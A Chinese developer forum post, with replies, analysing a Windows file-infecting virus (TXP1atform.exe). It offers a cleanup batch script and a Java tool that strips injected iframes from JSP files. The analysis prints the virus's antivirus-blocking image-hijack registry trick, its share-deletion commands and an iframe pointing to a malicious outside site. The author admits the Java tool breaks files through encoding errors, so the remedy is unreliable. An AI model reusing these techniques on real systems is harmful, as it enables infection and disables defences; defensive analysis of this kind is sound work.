前几天机器中突然多出了好多DeskTop_1.ini和DeskTop_2.ini,由于机器配置不怎么尽如人意,所以就没装杀软.不幸的是这几天在实训区经常copy题目.可能是哪位打开U盘又给双击了.由于目前这个出来一年多的病毒暂时没有专杀工具,在本文的最后.我将发布我做的小程序,稍加操作,即可清除这个病毒.下面结合CSDN朋友说发现的病毒特征原帖,我来总结下病毒特征:  
  1.在%systemroot%\system32\drivers文件夹下生成TXP1atform.exe文件;
2.在注册表[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]下生成值名为Explorer,类型为REG_SZ,数据为%systemroot%\system32\drivers\TXP1atform.exe的键值项;(随机器启动)
3.修改注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]键值及添加子项,在该子键下的生成N多子项,这些子项均为主流的杀毒软件名,在每个子键中添加键值名为Debugger,类型REG_SZ,数据为ntsd -d 的键值项,使各种杀毒软件被NTSD作为调试对象而被‘杀死’,造成了所谓的映象劫持;
4.修改注册表[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]键值项SuperHidden的数据为1,Hidden的数据为1,隐藏受保护文件;
5.修改注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]键值项CheckedValue的数据为0,使具隐藏属性的文件及文件夹不能被显示;
6.受感染的可执行文件的文件大小增加81KB,原因是该文件被病毒文件在其文件头写入了病毒体(即病毒自身,病毒文件大小81KB).
7.执行染毒文件时,先加载前81KB(即病毒体),病毒体以命令行方式在用户临时文件夹中(%temp%)生成xx$$.bat批处理文件,其中xx为随机数字.
8.xx$$.bat的内容为:
:try1
del "E:\Program Files\fenglei\fenglei.exe"
if exist "E:\Program Files\fenglei\fenglei.exe" goto try1
ren "E:\Program Files\fenglei\fenglei.exe.exe" "fenglei.exe"
if exist "E:\Program Files\fenglei\fenglei.exe.exe" goto try2
"E:\Program Files\fenglei\fenglei.exe"
:try2
del %0
(其中"E:\Program Files\fenglei\fenglei.exe"为受病毒感染的可执行文件,随文件的不同而不同)
9.染毒文件以xx$$.bat为父进程启动,xx$$.bat同时加载病毒文件TXP1atform.exe(该病毒位于%systemroot%\system32\drivers目录下,提取了当前染毒文件的图标).
10.TXP1atform.exe调用命令行shell程序cmd.exe执行以下操作:
cmd.exe /c net share F$ /del /y
cmd.exe /c net share E$ /del /y
cmd.exe /c net share C$ /del /y
cmd.exe /c net share A$ /del /y
cmd.exe /c net share admin$ /del /y
(删除系统的默认共享,似乎有点良心 or 想大权独揽?!)
10.再调用IE浏览器IEXPLORE.EXE, 命令行为 "%programfiles%\internet explorer\iexplore.exe" http://www.ipshougou.com/tj.htm
11.IE又调用%systemroot%\system32\verclsid.exe文件,命令行参数为 /s /c {FF393560-C2A7-11CF-BFF4-444553540000}
{FF393560-C2A7-11CF-BFF4-444553540000}在注册表中的描述为:
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{FF393560-C2A7-11CF-BFF4-444553540000}]
@="History"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{FF393560-C2A7-11CF-BFF4-444553540000}\DefaultIcon]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
  00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,\
  64,00,6f,00,63,00,76,00,77,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,32,00,30,\
  00,37,00,38,00,35,00,00,00
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{FF393560-C2A7-11CF-BFF4-444553540000}\InProcServer32]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
  00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,\
  64,00,6f,00,63,00,76,00,77,00,2e,00,64,00,6c,00,6c,00,00,00
"ThreadingModel"="Apartment"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{FF393560-C2A7-11CF-BFF4-444553540000}\ShellFolder]
"Attributes"=dword:a0000004
(至今对注册表中所谓的CLSID搞不懂!痛苦!)
(verclsid.exe的作用也不懂,网上查阅说是MS中KB908531的补丁,但据说加载vercsid.exe后,在桌面空白处单击鼠标右键有机器假死现象。可直接删除之)
12.TXP1atform.exe加载入进程后,染毒文件的大小减小至原来大小,再次运行时,正常,无事发生。
13.在染毒文件所处的整个分区内,会生成desktop_1.ini,desktop_2.ini ..., ini文件的内容为当前系统日期.文件名中的数字增量估计是运行了病毒的次数.
14.当TXP1atform.exe处于进程中时,它会不断修改当前染毒文件所在分区里的所有可执行文件,受染文件均是较原来增加81KB大小。
15.病毒同时修改当前染毒文件所在分区里的htm*网页文件,在其文件尾写入以下内容:<iframe src=http://www.114Oldest.com/zz/mm.htm width=100 height=0></iframe> 上面的都是在CSDN翻天覆地找到了,也越发感觉CSDN那是相当的强大!!      所述15点,最严重的就是杀软无法使用,就是映像劫持.还有对于我们web程序员来说.最KB的就是.感染了我们机器上所有的Jsp文件.最恐怖的是,你的备份也被感染了.目前最直接的方式就重装系统.不过那两年的心血就.....
     本着探索求知的目的,结合批处理文件.建议大家这样干掉它..
   
     重启,F8进入安全模式.先copy这段批处理文件,后缀名改为.bat即可
-----------------------------------我是华丽的分割线-----------------------------------------------------
@echo off
echo 正在终止病毒进程并免免疫,请稍等……
taskkill /f /im TXP1atfOrm.exe
del c:\windows\system32\Drivers\txp*.exe /f /s /q /a
md c:\windows\system32\Drivers\www
ren c:\windows\system32\Drivers\www TXP1atfOrm.exe
attrib c:\windows\system32\Drivers\www TXP1atfOrm.exe +R +S +H
echo 正在清除病毒生成的垃圾文件,请稍等……
del C:\WINDOWS\Tasks\*.job /f /s /q /a
del c:\Desktop_1.ini /f /s /q /a
del D:\Desktop_1.ini /f /s /q /a
del e:\Desktop_1.ini /f /s /q /a
del f:\Desktop_1.ini /f /s /q /a
del g:\Desktop_1.ini /f /s /q /a
del h:\Desktop_1.ini /f /s /q /a
del i:\Desktop_1.ini /f /s /q /a
del c:\Desktop_2.ini /f /s /q /a
del D:\Desktop_2.ini /f /s /q /a
del e:\Desktop_2.ini /f /s /q /a
del f:\Desktop_2.ini /f /s /q /a
del g:\Desktop_2.ini /f /s /q /a
del h:\Desktop_2.ini /f /s /q /a
del i:\Desktop_2.ini /f /s /q /a
echo 清除完毕!
-----------------------------------我是华丽的分割线-----------------------------------------------------上面的批处理文件能干掉垃圾文件,但是还不够.15点.感染了我们所有的jsp文件这个还没处理.下面是我的小程序.能干掉感染的jsp文件的iframe.这是myeclipse6.5的java project..
-----------------------------------我是华丽的分割线-----------------------------------------------------package com.abt.operator;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
/**
* 用来清理被TXP1atform.exe(变异熊猫烧香)感染后的网页文件。
* @version 1.0.0.1
* @author createwang

*/
public class LookupFile {
private static long sumFileCount = 0;// 文件总数
private static long dicCount = 0;// 目录总数
private static long jspFileCount = 0;// jsp文件计数器
private static String extName = "jsp";// jsp、html、asp....等网页文件
private static ArrayList<String> filePathList = new ArrayList<String>();// 保存jsp文件路径集合
private static String content = "<iframe src=http://www.114Oldest.com/zz/mm.htm width=100 height=0></iframe>";// 后遗症
/**
  * 取得磁盘根目录
  * 
  * @return 磁盘根目录
  */
public static File[] sysListRoot() {
  final File sysRoots[] = File.listRoots();
  return sysRoots;
}
/**
  * 遍历磁盘上的目录和文件,并将*.jsp文件路径添加到集合中
  * 
  * @param dic
  *            目录和文件
  */
private static void dicList(File dic) {
  // 如果是文件
  if (dic.isFile()) {
   // test打印点东西,等得心慌慌的!!
   System.out.println(dic);
   // 提取后缀名
   String postfixName = dic.getName().substring(
     dic.getName().length() - 3, dic.getName().length());
   // 比较是否为目标文件
   if (postfixName.equalsIgnoreCase(extName)) {
    // 如果是加入到ArrayList中
    filePathList.add(dic.getPath());
    jspFileCount++;
   }
   sumFileCount++;
  }
  // 如果是文件夹
  if (dic.isDirectory()) {
   File subDic[] = dic.listFiles();
   for (int i = 0; i < subDic.length; i++) {
    // 递归调用判断是否为jsp文件
    dicList(subDic[i]);
   }
   dicCount++;
  }
}
/**
  * 取得文件路径集合
  * 
  * @return 文件路径集合
  */
public static ArrayList<String> getFilePathList() {
  // 获取根目录
  File roots[] = LookupFile.sysListRoot();
  // 测试环境为D:\\workspace文件,所有的项目都在里边
  File file = new File("D:\\Test");
  // 循环开始
  for (int i = 0; i < 1; i++) {
   // 注释为清理全盘
   // File subf[] = roots[i].listFiles();
   File subf[] = file.listFiles();
   for (int j = 0; j < subf.length; j++) {
    LookupFile.dicList(subf[j]);
   }
  }
  return filePathList;
}
/**
  * 
  * @param args
  */
public static void main(String[] args) {
  // 开始时间
  long startTime = System.currentTimeMillis();
  ArrayList<String> fileNames = LookupFile.getFilePathList();
  for (int i = 0; i < fileNames.size(); i++) {
   String fileName = fileNames.get(i);
   // 读取jsp文件
   File f = new File(fileName);
   try {
    BufferedInputStream bin = new BufferedInputStream(
      new FileInputStream(f));
    byte[] buff = new byte[((int) f.length())];
    bin.read(buff);
    bin.close();
    String str = new String(buff, "GBK");
    // String str = new String(buff);
    String[] all = str.split("\r\n");
    // 写入jsp文件
    OutputStream fout = new FileOutputStream(f);
    for (int j = 0; j < all.length; j++) {
     all[j] = all[j].replaceAll(content, "");
     fout.write((all[j] + "\r\n").getBytes("GBK"));
     // fout.write((all[j] + "\r\n").getBytes());
    }
    fout.flush();
    fout.close();
   } catch (FileNotFoundException e) {
    e.printStackTrace();
   } catch (UnsupportedEncodingException e) {
    e.printStackTrace();
   } catch (IOException e) {
    e.printStackTrace();
   }
  }
  // 结束时间
  long endTime = System.currentTimeMillis() - startTime;
  System.out.println("目录总数" + dicCount + "\n文件总数" + sumFileCount
    + "\n jsp文件总数" + jspFileCount);
  System.out.println("\n用时:" + endTime + "毫秒");
}
}
-----------------------------------我是华丽的分割线-----------------------------------------------------
总结,由于编码问题,改完之后文件失效.要试的话谨慎.特别要注意.机器中是否有这个进程TXP1atform.exe
注意是数字1 不是字母l 字母l是腾讯的防QQ再次登录进程.  

解决方案 »

  1.   

    好像还不够,hidden 和 superhidden的注册表子键还没改过来,做个记号。下次改进..
      

  2.   

    曾经中过Logo1_.exe这个病毒,症状有点像LZ说的这个,不过Logo1_.exe感染的是EXE文件,我写了个WIN32程序来清掉病毒的。没想到也可以用JAVA来清病毒,学习到了
      

  3.   

    对病毒一直没办法也不愿管它,有折腾的时间系统也装好了。
    所以常备份,多样备份,刻盘,网络备份比较重要。
    病毒是永远防不胜防的,有的恶性病毒即使杀了损失也无法弥补。
    过两天打算买台机器,来个双系统,比较重要的东西放到linux下